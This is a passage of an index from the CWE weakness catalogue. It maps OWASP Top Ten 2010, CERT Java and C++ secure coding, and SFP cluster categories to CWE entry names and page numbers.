  - B** CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p. 169)
  - B** CWE-91: XML Injection (aka Blind XPath Injection) (p. 170)
- C** CWE-811: OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS) (p. 1246)
  - B** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)
- C** CWE-812: OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management (p. 1246)
  - G** CWE-287: Improper Authentication (p. 507)
  - V** CWE-306: Missing Authentication for Critical Function (p. 537)
  - B** CWE-307: Improper Restriction of Excessive Authentication Attempts (p. 541)
  - B** CWE-798: Use of Hard-coded Credentials (p. 1219)
- C** CWE-813: OWASP Top Ten 2010 Category A4 - Insecure Direct Object References (p. 1246)
  - G** CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
  - B** CWE-434: Unrestricted Upload of File with Dangerous Type (p. 742)
  - B** CWE-639: Authorization Bypass Through User-Controlled Key (p. 988)
  - G** CWE-829: Inclusion of Functionality from Untrusted Control Sphere (p. 1262)
  - G** CWE-862: Missing Authorization (p. 1299)
  - G** CWE-863: Incorrect Authorization (p. 1304)
  - B** CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p. 190)
- C** CWE-814: OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF) (p. 1247)
  - B** CWE-352: Cross-Site Request Forgery (CSRF) (p. 611)
    - B** CWE-346: Origin Validation Error (p. 602)
    - G** CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 753)
    - B** CWE-613: Insufficient Session Expiration (p. 960)
    - G** CWE-642: External Control of Critical State Data (p. 993)
- C** CWE-815: OWASP Top Ten 2010 Category A6 - Security Misconfiguration (p. 1247)
  - B** CWE-209: Information Exposure Through an Error Message (p. 397)
  - V** CWE-219: Sensitive Data Under Web Root (p. 412)
  - G** CWE-250: Execution with Unnecessary Privileges (p. 440)
  - B** CWE-538: File and Directory Information Exposure (p. 877)
  - B** CWE-552: Files or Directories Accessible to External Parties (p. 889)
  - G** CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1121)
- C** CWE-816: OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage (p. 1247)
  - B** CWE-311: Missing Encryption of Sensitive Data (p. 548)
  - B** CWE-312: Cleartext Storage of Sensitive Information (p. 553)
  - G** CWE-326: Inadequate Encryption Strength (p. 571)
  - B** CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p. 573)
  - B** CWE-759: Use of a One-Way Hash without a Salt (p. 1153)
- C** CWE-817: OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access (p. 1248)
  - G** CWE-285: Improper Authorization (p. 501)
  - G** CWE-862: Missing Authorization (p. 1299)
  - G** CWE-863: Incorrect Authorization (p. 1304)
- C** CWE-818: OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection (p. 1248)
  - B** CWE-311: Missing Encryption of Sensitive Data (p. 548)
  - B** CWE-319: Cleartext Transmission of Sensitive Information (p. 562)
- C** CWE-819: OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards (p. 1248)

❖ CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p. 942)

## Graph View: CWE-844: Weaknesses Addressed by the CERT Java Secure Coding Standard

- C** CWE-845: CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS) (p. 1291)
  - C** CWE-171: Cleansing, Canonicalization, and Comparison Errors (p. 332)
  - G** CWE-116: Improper Encoding or Escaping of Output (p. 217)
  - B** CWE-134: Uncontrolled Format String (p. 277)
  - V** CWE-144: Improper Neutralization of Line Delimiters (p. 293)
  - V** CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences (p. 301)
  - B** CWE-180: Incorrect Behavior Order: Validate Before Canonicalize (p. 347)
  - B** CWE-182: Collapse of Data into Unsafe Value (p. 350)
  - V** CWE-289: Authentication Bypass by Alternate Name (p. 513)
  - B** CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) (p. 708)
  - B** CWE-625: Permissive Regular Expression (p. 973)
  - V** CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions (p. 1003)
  - B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
  - B** CWE-838: Inappropriate Encoding for Output Context (p. 1277)
- C** CWE-846: CERT Java Secure Coding Section 01 - Declarations and Initialization (DCL) (p. 1291)
  - B** CWE-665: Improper Initialization (p. 1027)
- C** CWE-847: CERT Java Secure Coding Section 02 - Expressions (EXP) (p. 1292)
  - B** CWE-252: Unchecked Return Value (p. 446)
  - V** CWE-479: Signal Handler Use of a Non-reentrant Function (p. 807)
  - B** CWE-595: Comparison of Object References Instead of Object Contents (p. 936)
  - V** CWE-597: Use of Wrong Operator in String Comparison (p. 938)
- C** CWE-848: CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM) (p. 1292)
  - B** CWE-197: Numeric Truncation Error (p. 381)
  - B** CWE-369: Divide By Zero (p. 647)
  - B** CWE-681: Incorrect Conversion between Numeric Types (p. 1058)
- C** CWE-849: CERT Java Secure Coding Section 04 - Object Orientation (OBJ) (p. 1293)
  - B** CWE-374: Passing Mutable Objects to an Untrusted Method (p. 652)
  - B** CWE-375: Returning a Mutable Object to an Untrusted Caller (p. 654)
  - V** CWE-486: Comparison of Classes by Name (p. 820)
  - V** CWE-491: Public cloneable() Method Without Final ('Object Hijack') (p. 826)
  - V** CWE-492: Use of Inner Class Containing Sensitive Data (p. 827)
  - V** CWE-493: Critical Public Variable Without Final Modifier (p. 833)
  - V** CWE-498: Cloneable Class Containing Sensitive Information (p. 842)
  - V** CWE-500: Public Static Field Not Marked Final (p. 845)
  - V** CWE-582: Array Declared Public, Final, and Static (p. 922)
  - V** CWE-766: Critical Variable Declared Public (p. 1170)
- C** CWE-850: CERT Java Secure Coding Section 05 - Methods (MET) (p. 1293)
  - V** CWE-487: Reliance on Package-level Scope (p. 822)
  - V** CWE-568: finalize() Method Without super.finalize() (p. 905)
  - G** CWE-573: Improper Following of Specification by Caller (p. 910)
  - B** CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined (p. 921)
  - V** CWE-583: finalize() Method Declared Public (p. 923)
  - V** CWE-586: Explicit Call to Finalize() (p. 926)
  - V** CWE-589: Call to Non-ubiquitous API (p. 929)
  - V** CWE-617: Reachable Assertion (p. 964)
- C** CWE-851: CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR) (p. 1294)
  - B** CWE-209: Information Exposure Through an Error Message (p. 397)
  - V** CWE-230: Improper Handling of Missing Values (p. 422)
  - V** CWE-232: Improper Handling of Undefined Values (p. 423)
  - B** CWE-248: Uncaught Exception (p. 438)























































- V CWE-382: J2EE Bad Practices: Use of System.exit() (p. 661)
- G CWE-390: Detection of Error Condition Without Action (p. 671)
- B CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference (p. 680)
- B CWE-397: Declaration of Throws for Generic Exception (p. 683)
- V CWE-460: Improper Cleanup on Thrown Exception (p. 777)
- V CWE-497: Exposure of System Data to an Unauthorized Control Sphere (p. 840)
- B CWE-584: Return Inside Finally Block (p. 924)
- B CWE-600: Uncaught Exception in Servlet (p. 941)
- G CWE-703: Improper Check or Handling of Exceptional Conditions (p. 1102)
- G CWE-705: Incorrect Control Flow Scoping (p. 1105)
- G CWE-690: Unchecked Return Value to NULL Pointer Dereference (p. 1071)
- C CWE-852: CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA) (p. 1294)
  - G CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 627)
  - B CWE-366: Race Condition within a Thread (p. 640)
  - B CWE-413: Improper Resource Locking (p. 713)
  - B CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context (p. 903)
  - B CWE-662: Improper Synchronization (p. 1024)
  - B CWE-667: Improper Locking (p. 1032)
- C CWE-853: CERT Java Secure Coding Section 08 - Locking (LCK) (p. 1295)
  - B CWE-412: Unrestricted Externally Accessible Lock (p. 711)
  - B CWE-413: Improper Resource Locking (p. 713)
  - B CWE-609: Double-Checked Locking (p. 955)
  - B CWE-667: Improper Locking (p. 1032)
  - B CWE-820: Missing Synchronization (p. 1249)
  - B CWE-833: Deadlock (p. 1271)
- C CWE-854: CERT Java Secure Coding Section 09 - Thread APIs (THI) (p. 1295)
  - V CWE-572: Call to Thread run() instead of start() (p. 910)
  - G CWE-705: Incorrect Control Flow Scoping (p. 1105)
- C CWE-855: CERT Java Secure Coding Section 10 - Thread Pools (TPS) (p. 1295)
  - B CWE-392: Missing Report of Error Condition (p. 677)
  - G CWE-405: Asymmetric Resource Consumption (Amplification) (p. 703)
  - B CWE-410: Insufficient Resource Pool (p. 709)
- C CWE-856: CERT Java Secure Coding Section 11 - Thread-Safety Miscellaneous (TSM) (p. 1296)
- C CWE-857: CERT Java Secure Coding Section 12 - Input Output (FIO) (p. 1296)
  - B CWE-135: Incorrect Calculation of Multi-Byte String Length (p. 282)
  - B CWE-198: Use of Incorrect Byte Ordering (p. 383)
  - V CWE-276: Incorrect Default Permissions (p. 490)
  - V CWE-279: Incorrect Execution-Assigned Permissions (p. 494)
  - G CWE-359: Exposure of Private Information ('Privacy Violation') (p. 622)
  - B CWE-377: Insecure Temporary File (p. 655)
  - B CWE-404: Improper Resource Shutdown or Release (p. 699)
  - G CWE-405: Asymmetric Resource Consumption (Amplification) (p. 703)
  - B CWE-459: Incomplete Cleanup (p. 775)
  - V CWE-532: Information Exposure Through Log Files (p. 872)
  - V CWE-533: Information Exposure Through Server Log Files (p. 873)
  - V CWE-542: Information Exposure Through Cleanup Log Files (p. 881)
  - V CWE-67: Improper Handling of Windows Device Names (p. 103)
  - G CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1121)
  - B CWE-770: Allocation of Resources Without Limits or Throttling (p. 1175)
- C CWE-858: CERT Java Secure Coding Section 13 - Serialization (SER) (p. 1297)
  - G CWE-250: Execution with Unnecessary Privileges (p. 440)
  - B CWE-319: Cleartext Transmission of Sensitive Information (p. 562)
  - B CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion') (p. 688)
  - V CWE-499: Serializable Class Containing Sensitive Data (p. 844)



- V CWE-502: Deserialization of Untrusted Data (p. 847)
- V CWE-589: Call to Non-ubiquitous API (p. 929)
- B CWE-770: Allocation of Resources Without Limits or Throttling (p. 1175)
- C CWE-859: CERT Java Secure Coding Section 14 - Platform Security (SEC) (p. 1297)
- B CWE-111: Direct Use of Unsafe JNI (p. 208)
- B CWE-266: Incorrect Privilege Assignment (p. 471)
- B CWE-272: Least Privilege Violation (p. 482)
- G CWE-300: Channel Accessible by Non-Endpoint ('Man-in-the-Middle') (p. 530)
- V CWE-302: Authentication Bypass by Assumed-Immutable Data (p. 533)
- B CWE-319: Cleartext Transmission of Sensitive Information (p. 562)
- B CWE-347: Improper Verification of Cryptographic Signature (p. 604)
- B CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (p. 789)
- B CWE-494: Download of Code Without Integrity Check (p. 835)
- G CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1121)
- B CWE-807: Reliance on Untrusted Inputs in a Security Decision (p. 1239)
- C CWE-860: CERT Java Secure Coding Section 15 - Runtime Environment (ENV) (p. 1298)
- B CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data (p. 607)
- G CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1121)
- C CWE-861: CERT Java Secure Coding Section 49 - Miscellaneous (MSC) (p. 1298)
- B CWE-259: Use of Hard-coded Password (p. 459)
- B CWE-311: Missing Encryption of Sensitive Data (p. 548)
- G CWE-330: Use of Insufficiently Random Values (p. 581)
- V CWE-332: Insufficient Entropy in PRNG (p. 587)
- V CWE-333: Improper Handling of Insufficient Entropy in TRNG (p. 588)
- B CWE-336: Same Seed in PRNG (p. 591)
- B CWE-337: Predictable Seed in PRNG (p. 592)
- B CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion') (p. 688)
- B CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak') (p. 694)
- V CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p. 882)
- B CWE-770: Allocation of Resources Without Limits or Throttling (p. 1175)
- B CWE-798: Use of Hard-coded Credentials (p. 1219)

## Graph View: CWE-868: Weaknesses Addressed by the CERT C++ Secure Coding Standard

- C** CWE-869: CERT C++ Secure Coding Section 01 - Preprocessor (PRE) (p. 1312)
- C** CWE-870: CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL) (p. 1312)
- C** CWE-871: CERT C++ Secure Coding Section 03 - Expressions (EXP) (p. 1312)
  - B** CWE-476: NULL Pointer Dereference (p. 798)
  - B** CWE-480: Use of Incorrect Operator (p. 809)
  - V** CWE-768: Incorrect Short Circuit Evaluation (p. 1173)
- C** CWE-872: CERT C++ Secure Coding Section 04 - Integers (INT) (p. 1313)
  - C** CWE-192: Integer Coercion Error (p. 368)
  - B** CWE-129: Improper Validation of Array Index (p. 258)
  - B** CWE-190: Integer Overflow or Wraparound (p. 361)
  - B** CWE-197: Numeric Truncation Error (p. 381)
  - G** CWE-20: Improper Input Validation (p. 18)
  - B** CWE-369: Divide By Zero (p. 647)
  - B** CWE-466: Return of Pointer Value Outside of Expected Range (p. 783)
  - B** CWE-587: Assignment of a Fixed Address to a Pointer (p. 927)
  - B** CWE-606: Unchecked Input for Loop Condition (p. 953)
  - B** CWE-676: Use of Potentially Dangerous Function (p. 1044)
  - B** CWE-681: Incorrect Conversion between Numeric Types (p. 1058)
  - G** CWE-682: Incorrect Calculation (p. 1060)
- C** CWE-873: CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP) (p. 1313)
  - B** CWE-369: Divide By Zero (p. 647)
  - B** CWE-681: Incorrect Conversion between Numeric Types (p. 1058)
  - G** CWE-682: Incorrect Calculation (p. 1060)
  - V** CWE-686: Function Call With Incorrect Argument Type (p. 1066)
- C** CWE-874: CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR) (p. 1313)
  - G** CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
  - B** CWE-129: Improper Validation of Array Index (p. 258)
  - V** CWE-467: Use of sizeof() on a Pointer Type (p. 784)
  - B** CWE-469: Use of Pointer Subtraction to Determine Size (p. 788)
  - B** CWE-665: Improper Initialization (p. 1027)
  - B** CWE-805: Buffer Access with Incorrect Length Value (p. 1230)
- C** CWE-875: CERT C++ Secure Coding Section 07 - Characters and Strings (STR) (p. 1314)
  - G** CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
  - B** CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p. 234)
  - B** CWE-170: Improper Null Termination (p. 328)
  - B** CWE-193: Off-by-one Error (p. 371)
  - B** CWE-464: Addition of Data Structure Sentinel (p. 781)
  - V** CWE-686: Function Call With Incorrect Argument Type (p. 1066)
  - G** CWE-704: Incorrect Type Conversion or Cast (p. 1104)
  - B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
  - B** CWE-88: Argument Injection or Modification (p. 155)
- C** CWE-876: CERT C++ Secure Coding Section 08 - Memory Management (MEM) (p. 1314)
  - G** CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
  - B** CWE-128: Wrap-around Error (p. 257)
  - B** CWE-131: Incorrect Calculation of Buffer Size (p. 269)
  - B** CWE-190: Integer Overflow or Wraparound (p. 361)
  - G** CWE-20: Improper Input Validation (p. 18)
  - B** CWE-226: Sensitive Information Uncleared Before Release (p. 417)
  - V** CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p. 434)
  - B** CWE-252: Unchecked Return Value (p. 446)

-  CWE-391: Unchecked Error Condition (p. 675)
-  CWE-404: Improper Resource Shutdown or Release (p. 699)
-  CWE-415: Double Free (p. 716)
-  CWE-416: Use After Free (p. 719)
-  CWE-476: NULL Pointer Dereference (p. 798)
-  CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p. 869)
-  CWE-590: Free of Memory not on the Heap (p. 930)
-  CWE-591: Sensitive Data Storage in Improperly Locked Memory (p. 932)
-  CWE-665: Improper Initialization (p. 1027)
-  CWE-687: Function Call With Incorrectly Specified Argument Value (p. 1067)
-  CWE-703: Improper Check or Handling of Exceptional Conditions (p. 1102)
-  CWE-754: Improper Check for Unusual or Exceptional Conditions (p. 1143)
-  CWE-762: Mismatched Memory Management Routines (p. 1162)
-  CWE-770: Allocation of Resources Without Limits or Throttling (p. 1175)
-  CWE-822: Untrusted Pointer Dereference (p. 1250)
-  CWE-690: Unchecked Return Value to NULL Pointer Dereference (p. 1071)
-  CWE-877: CERT C++ Secure Coding Section 09 - Input Output (FIO) (p. 1315)
-  CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
-  CWE-134: Uncontrolled Format String (p. 277)
-  CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
-  CWE-241: Improper Handling of Unexpected Data Type (p. 430)
-  CWE-276: Incorrect Default Permissions (p. 490)
-  CWE-279: Incorrect Execution-Assigned Permissions (p. 494)
-  CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 627)
-  CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p. 642)
-  CWE-37: Path Traversal: '/absolute/pathname/here' (p. 67)
-  CWE-379: Creation of Temporary File in Directory with Incorrect Permissions (p. 659)
-  CWE-38: Path Traversal: '\absolute\pathname\here' (p. 68)
-  CWE-39: Path Traversal: 'C:dirname' (p. 70)
-  CWE-391: Unchecked Error Condition (p. 675)
-  CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') (p. 697)
-  CWE-404: Improper Resource Shutdown or Release (p. 699)
-  CWE-41: Improper Resolution of Path Equivalence (p. 73)
-  CWE-552: Files or Directories Accessible to External Parties (p. 889)
-  CWE-59: Improper Link Resolution Before File Access ('Link Following') (p. 91)
-  CWE-62: UNIX Hard Link (p. 96)
-  CWE-64: Windows Shortcut Following (.LNK) (p. 98)
-  CWE-65: Windows Hard Link (p. 100)
-  CWE-67: Improper Handling of Windows Device Names (p. 103)
-  CWE-675: Duplicate Operations on Resource (p. 1043)
-  CWE-676: Use of Potentially Dangerous Function (p. 1044)
-  CWE-73: External Control of File Name or Path (p. 109)
-  CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1121)
-  CWE-770: Allocation of Resources Without Limits or Throttling (p. 1175)
-  CWE-878: CERT C++ Secure Coding Section 10 - Environment (ENV) (p. 1316)
-  CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
-  CWE-462: Duplicate Key in Associative List (Alist) (p. 779)
-  CWE-705: Incorrect Control Flow Scoping (p. 1105)
-  CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
-  CWE-807: Reliance on Untrusted Inputs in a Security Decision (p. 1239)
-  CWE-88: Argument Injection or Modification (p. 155)
-  CWE-426: Untrusted Search Path (p. 729)

- C CWE-275: Permission Issues (p. 488)
- G CWE-216: Containment Errors (Container Errors) (p. 410)
- B CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 792)
- C CWE-879: CERT C++ Secure Coding Section 11 - Signals (SIG) (p. 1317)
- V CWE-479: Signal Handler Use of a Non-reentrant Function (p. 807)
- B CWE-662: Improper Synchronization (p. 1024)
- C CWE-880: CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR) (p. 1317)
- B CWE-209: Information Exposure Through an Error Message (p. 397)
- G CWE-390: Detection of Error Condition Without Action (p. 671)
- B CWE-391: Unchecked Error Condition (p. 675)
- V CWE-460: Improper Cleanup on Thrown Exception (p. 777)
- V CWE-497: Exposure of System Data to an Unauthorized Control Sphere (p. 840)
- B CWE-544: Missing Standardized Error Handling Mechanism (p. 883)
- G CWE-703: Improper Check or Handling of Exceptional Conditions (p. 1102)
- G CWE-705: Incorrect Control Flow Scoping (p. 1105)
- G CWE-754: Improper Check for Unusual or Exceptional Conditions (p. 1143)
- G CWE-755: Improper Handling of Exceptional Conditions (p. 1150)
- C CWE-881: CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP) (p. 1318)
- G CWE-485: Insufficient Encapsulation (p. 819)
- C CWE-882: CERT C++ Secure Coding Section 14 - Concurrency (CON) (p. 1318)
- G CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 627)
- B CWE-366: Race Condition within a Thread (p. 640)
- B CWE-404: Improper Resource Shutdown or Release (p. 699)
- V CWE-488: Exposure of Data Element to Wrong Session (p. 823)
- B CWE-772: Missing Release of Resource after Effective Lifetime (p. 1183)
- C CWE-883: CERT C++ Secure Coding Section 49 - Miscellaneous (MSC) (p. 1318)
- G CWE-116: Improper Encoding or Escaping of Output (p. 217)
- B CWE-14: Compiler Removal of Code to Clear Buffers (p. 12)
- V CWE-176: Improper Handling of Unicode Encoding (p. 339)
- G CWE-20: Improper Input Validation (p. 18)
- B CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p. 573)
- G CWE-330: Use of Insufficiently Random Values (p. 581)
- B CWE-480: Use of Incorrect Operator (p. 809)
- V CWE-482: Comparing instead of Assigning (p. 814)
- V CWE-561: Dead Code (p. 895)
- V CWE-563: Assignment to Variable without Use ('Unused Variable') (p. 899)
- V CWE-570: Expression is Always False (p. 906)
- V CWE-571: Expression is Always True (p. 908)
- G CWE-697: Insufficient Comparison (p. 1078)
- G CWE-704: Incorrect Type Conversion or Cast (p. 1104)


























































- V CWE-479: Signal Handler Use of a Non-reentrant Function (p. 807)
- V CWE-558: Use of getlogin() in Multithreaded Application (p. 893)
- V CWE-572: Call to Thread run() instead of start() (p. 910)
- C CWE-573: Improper Following of Specification by Caller (p. 910)
- V CWE-574: EJB Bad Practices: Use of Synchronization Primitives (p. 911)
- V CWE-575: EJB Bad Practices: Use of AWT Swing (p. 913)
- V CWE-576: EJB Bad Practices: Use of Java I/O (p. 915)
- V CWE-577: EJB Bad Practices: Use of Sockets (p. 916)
- V CWE-578: EJB Bad Practices: Use of Class Loader (p. 918)
- V CWE-586: Explicit Call to Finalize() (p. 926)
- V CWE-589: Call to Non-ubiquitous API (p. 929)
- V CWE-617: Reachable Assertion (p. 964)
- B CWE-676: Use of Potentially Dangerous Function (p. 1044)
- B CWE-684: Incorrect Provision of Specified Functionality (p. 1065)
- B CWE-695: Use of Low-Level Functionality (p. 1077)
- C CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior (p. 1153)
- C CWE-889: SFP Primary Cluster: Exception Management (p. 1324)
  - C CWE-960: SFP Secondary Cluster: Ambiguous Exception Type (p. 1375)
    - B CWE-396: Declaration of Catch for Generic Exception (p. 682)
    - B CWE-397: Declaration of Throws for Generic Exception (p. 683)
  - C CWE-961: SFP Secondary Cluster: Incorrect Exception Behavior (p. 1376)
    - B CWE-392: Missing Report of Error Condition (p. 677)
    - B CWE-393: Return of Wrong Status Code (p. 678)
    - B CWE-455: Non-exit on Failed Initialization (p. 769)
    - V CWE-460: Improper Cleanup on Thrown Exception (p. 777)
    - B CWE-544: Missing Standardized Error Handling Mechanism (p. 883)
    - B CWE-584: Return Inside Finally Block (p. 924)
    - C CWE-636: Not Failing Securely ('Failing Open') (p. 983)
    - C CWE-703: Improper Check or Handling of Exceptional Conditions (p. 1102)
  - C CWE-962: SFP Secondary Cluster: Unchecked Status Condition (p. 1376)
    - B CWE-248: Uncaught Exception (p. 438)
    - B CWE-252: Unchecked Return Value (p. 446)
    - B CWE-253: Incorrect Check of Function Return Value (p. 451)
    - B CWE-273: Improper Check for Dropped Privileges (p. 485)
    - B CWE-280: Improper Handling of Insufficient Permissions or Privileges (p. 495)
    - B CWE-372: Incomplete Internal State Distinction (p. 651)
    - C CWE-390: Detection of Error Condition Without Action (p. 671)
    - B CWE-391: Unchecked Error Condition (p. 675)
    - B CWE-394: Unexpected Status Code or Return Value (p. 679)
    - B CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference (p. 680)
    - B CWE-431: Missing Handler (p. 739)
    - V CWE-478: Missing Default Case in Switch Statement (p. 804)
    - B CWE-484: Omitted Break Statement in Switch (p. 817)
    - B CWE-600: Uncaught Exception in Servlet (p. 941)
    - B CWE-665: Improper Initialization (p. 1027)
    - C CWE-754: Improper Check for Unusual or Exceptional Conditions (p. 1143)
    - C CWE-755: Improper Handling of Exceptional Conditions (p. 1150)
- C CWE-890: SFP Primary Cluster: Memory Access (p. 1324)
  - C CWE-970: SFP Secondary Cluster: Faulty Buffer Access (p. 1380)
    - C CWE-118: Improper Access of Indexable Resource ('Range Error') (p. 225)
    - C CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
    - B CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p. 234)
    - V CWE-121: Stack-based Buffer Overflow (p. 242)
    - V CWE-122: Heap-based Buffer Overflow (p. 245)

- B CWE-123: Write-what-where Condition (p. 248)
- B CWE-124: Buffer Underwrite ('Buffer Underflow') (p. 250)
- B CWE-125: Out-of-bounds Read (p. 253)
- V CWE-126: Buffer Over-read (p. 254)
- V CWE-127: Buffer Under-read (p. 256)
- B CWE-129: Improper Validation of Array Index (p. 258)
- C CWE-971: SFP Secondary Cluster: Faulty Pointer Use (p. 1381)
- B CWE-469: Use of Pointer Subtraction to Determine Size (p. 788)
- B CWE-476: NULL Pointer Dereference (p. 798)
- V CWE-588: Attempt to Access Child of a Non-structure Pointer (p. 928)
- C CWE-972: SFP Secondary Cluster: Faulty String Expansion (p. 1381)
- V CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (p. 1204)
- C CWE-973: SFP Secondary Cluster: Improper NULL Termination (p. 1381)
- B CWE-170: Improper Null Termination (p. 328)
- C CWE-974: SFP Secondary Cluster: Incorrect Buffer Length Computation (p. 1381)
- B CWE-131: Incorrect Calculation of Buffer Size (p. 269)
- B CWE-135: Incorrect Calculation of Multi-Byte String Length (p. 282)
- V CWE-467: Use of sizeof() on a Pointer Type (p. 784)
- C CWE-891: SFP Primary Cluster: Memory Management (p. 1325)
- C CWE-969: SFP Secondary Cluster: Faulty Memory Release (p. 1380)
- V CWE-415: Double Free (p. 716)
- V CWE-590: Free of Memory not on the Heap (p. 930)
- V CWE-761: Free of Pointer not at Start of Buffer (p. 1159)
- V CWE-762: Mismatched Memory Management Routines (p. 1162)
- B CWE-763: Release of Invalid Pointer or Reference (p. 1164)
- C CWE-892: SFP Primary Cluster: Resource Management (p. 1325)
- C CWE-982: SFP Secondary Cluster: Failure to Release Resource (p. 1385)
- B CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak') (p. 694)
- B CWE-404: Improper Resource Shutdown or Release (p. 699)
- B CWE-459: Incomplete Cleanup (p. 775)
- B CWE-771: Missing Reference to Active Allocated Resource (p. 1182)
- B CWE-772: Missing Release of Resource after Effective Lifetime (p. 1183)
- V CWE-773: Missing Reference to Active File Descriptor or Handle (p. 1187)
- V CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime (p. 1189)
- C CWE-983: SFP Secondary Cluster: Faulty Resource Use (p. 1385)
- B CWE-416: Use After Free (p. 719)
- B CWE-672: Operation on a Resource after Expiration or Release (p. 1039)
- C CWE-984: SFP Secondary Cluster: Life Cycle (p. 1386)
- G CWE-664: Improper Control of a Resource Through its Lifetime (p. 1026)
- B CWE-666: Operation on Resource in Wrong Phase of Lifetime (p. 1031)
- G CWE-675: Duplicate Operations on Resource (p. 1043)
- B CWE-694: Use of Multiple Resources with Duplicate Identifier (p. 1076)
- C CWE-985: SFP Secondary Cluster: Unrestricted Consumption (p. 1386)
- B CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion') (p. 688)
- B CWE-674: Uncontrolled Recursion (p. 1042)
- B CWE-770: Allocation of Resources Without Limits or Throttling (p. 1175)
- V CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling (p. 1188)
- C CWE-893: SFP Primary Cluster: Path Resolution (p. 1325)
- C CWE-979: SFP Secondary Cluster: Failed Chroot Jail (p. 1383)
- V CWE-243: Creation of chroot Jail Without Changing Working Directory (p. 433)
- C CWE-980: SFP Secondary Cluster: Link in Resource Name Resolution (p. 1384)
- B CWE-386: Symbolic Name not Mapping to Correct Object (p. 667)
- B CWE-59: Improper Link Resolution Before File Access ('Link Following') (p. 91)
- G CWE-610: Externally Controlled Reference to a Resource in Another Sphere (p. 957)



- CWE-62: UNIX Hard Link (p. 96)
- CWE-64: Windows Shortcut Following (.LNK) (p. 98)
- CWE-65: Windows Hard Link (p. 100)
- CWE-71: Apple '.DS\_Store' (p. 106)
- C CWE-981: SFP Secondary Cluster: Path Traversal (p. 1384)
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
- B CWE-23: Relative Path Traversal (p. 40)
- CWE-24: Path Traversal: './filedir' (p. 45)
- CWE-25: Path Traversal: '../filedir' (p. 46)
- CWE-26: Path Traversal: '/dir../filename' (p. 48)
- CWE-27: Path Traversal: 'dir../filename' (p. 49)
- CWE-28: Path Traversal: '..filedir' (p. 51)
- CWE-29: Path Traversal: '..filename' (p. 52)
- CWE-30: Path Traversal: 'dir..filename' (p. 54)
- CWE-31: Path Traversal: 'dir..\filename' (p. 55)
- CWE-32: Path Traversal: '...' (Triple Dot) (p. 57)
- CWE-33: Path Traversal: '...' (Multiple Dot) (p. 58)
- CWE-34: Path Traversal: '.../' (p. 60)
- CWE-35: Path Traversal: '.../...' (p. 62)
- B CWE-36: Absolute Path Traversal (p. 64)
